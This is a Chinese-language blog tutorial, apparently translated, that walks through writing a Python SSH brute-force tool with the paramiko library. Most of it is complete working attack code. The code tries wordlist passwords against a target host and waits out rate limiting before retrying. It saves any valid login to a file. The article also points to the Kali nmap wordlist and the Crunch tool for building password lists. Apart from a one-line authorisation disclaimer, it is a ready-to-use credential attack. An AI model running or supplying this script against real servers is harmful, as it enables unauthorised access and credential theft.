如何在Python中暴力破解SSH服务器?代码实现教程

2021年11月16日15:30:49 发表评论 1,512 次浏览

Python如何暴力破解SSH服务器?本文教你使用 Python 中的 paramiko 库编写 Python 脚本以在 SSH 服务器上暴力破解 SSH 凭据。

暴力攻击是一种涉及重复尝试尝试多种密码组合以闯入需要身份验证的系统的活动。有很多开源工具可以在 Linux 中暴力破解 SSH,例如 Hydra、Nmap 和 Metasploit。但是,在本教程中,你将学习如何使用 Python 编程语言制作 SSH 暴力破解脚本。

阅读: 如何在 Python 中制作子域扫描仪。

我们将使用paramiko库,它为我们提供了一个简单的 SSH 客户端界面,让我们安装它:

pip3 install paramiko colorama

我们使用colorama只是为了打印颜色,没有别的。

如何在Python中暴力破解SSH服务器?打开一个新的 Python 文件并导入所需的模块:

import paramiko
import socket
import time
from colorama import init, Fore

定义一些我们要使用的颜色:

# initialize colorama
init()

GREEN = Fore.GREEN
RED   = Fore.RED
RESET = Fore.RESET
BLUE  = Fore.BLUE

现在让我们构建一个函数,给出主机名、用户名和密码,它告诉我们组合是否正确,Python暴力破解SSH服务器示例代码如下:

def is_ssh_open(hostname, username, password):
    # initialize SSH client
    client = paramiko.SSHClient()
    # add to know hosts
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(hostname=hostname, username=username, password=password, timeout=3)
    except socket.timeout:
        # this is when host is unreachable
        print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}")
        return False
    except paramiko.AuthenticationException:
        print(f"[!] Invalid credentials for {username}:{password}")
        return False
    except paramiko.SSHException:
        print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}")
        # sleep for a minute
        time.sleep(60)
        return is_ssh_open(hostname, username, password)
    else:
        # connection was established successfully
        print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}")
        return True

Python如何暴力破解SSH服务器?这里有很多内容。首先,我们使用paramiko.SSHClient()类初始化我们的 SSH 客户端,该类是与 SSH 服务器的会话的高级表示。

其次,我们设置了在连接到没有已知主机密钥的服务器时使用的策略,我们使用了paramiko.AutoAddPolicy(),它是一种自动将主机名和新主机密钥添加到本地主机密钥并保存它的策略。

最后,我们尝试连接到 SSH 服务器并使用client.connect()方法对其进行身份验证,超时3秒,此方法引发:

  • socket.timeout:当主机在3秒内无法访问时。
  • paramiko.AuthenticationException:当用户名和密码组合不正确时。
  • paramiko.SSHException:当在短时间内执行了大量日志记录尝试时,换句话说,服务器检测到它是某种蛮力,我们会知道并休眠一分钟并再次递归调用该函数具有相同的参数。

如果上述异常均未引发,则连接成功建立且凭据正确,在这种情况下我们返回True。

如何在Python中暴力破解SSH服务器?由于这是一个命令行脚本,我们将解析在命令行中传递的参数,Python暴力破解SSH服务器示例代码如下:

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser(description="SSH Bruteforce Python script.")
    parser.add_argument("host", help="Hostname or IP Address of SSH Server to bruteforce.")
    parser.add_argument("-P", "--passlist", help="File that contain password list in each line.")
    parser.add_argument("-u", "--user", help="Host username.")

    # parse passed arguments
    args = parser.parse_args()
    host = args.host
    passlist = args.passlist
    user = args.user
    # read the file
    passlist = open(passlist).read().splitlines()
    # brute-force
    for password in passlist:
        if is_ssh_open(host, user, password):
            # if combo is valid, save it to a file
            open("credentials.txt", "w").write(f"{user}@{host}:{password}")
            break

我们基本上解析参数以检索主机名、用户名和密码列表文件,然后遍历单词列表中的所有密码,我在本地 SSH 服务器上运行它,这是一个屏幕截图:

如何在Python中暴力破解SSH服务器?代码实现教程

Python如何暴力破解SSH服务器?wordlist.txt是一个包含5000多个密码的 Nmap 密码列表文件,我基本上是从 Kali Linux OS 路径"/usr/share/wordlists/nmap.lst"下抓取的。但是,如果你想生成你的自己的自定义词表,我鼓励你使用 Crunch 工具

免责声明:使用你有权测试的服务器或机器进行测试,否则我们不负责。

好的,我们基本上完成了本教程,看看如何扩展此脚本以使用多线程进行快速暴力破解。

如果你希望使用暴力破解 FTP 服务器,请查看本教程。

木子山

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: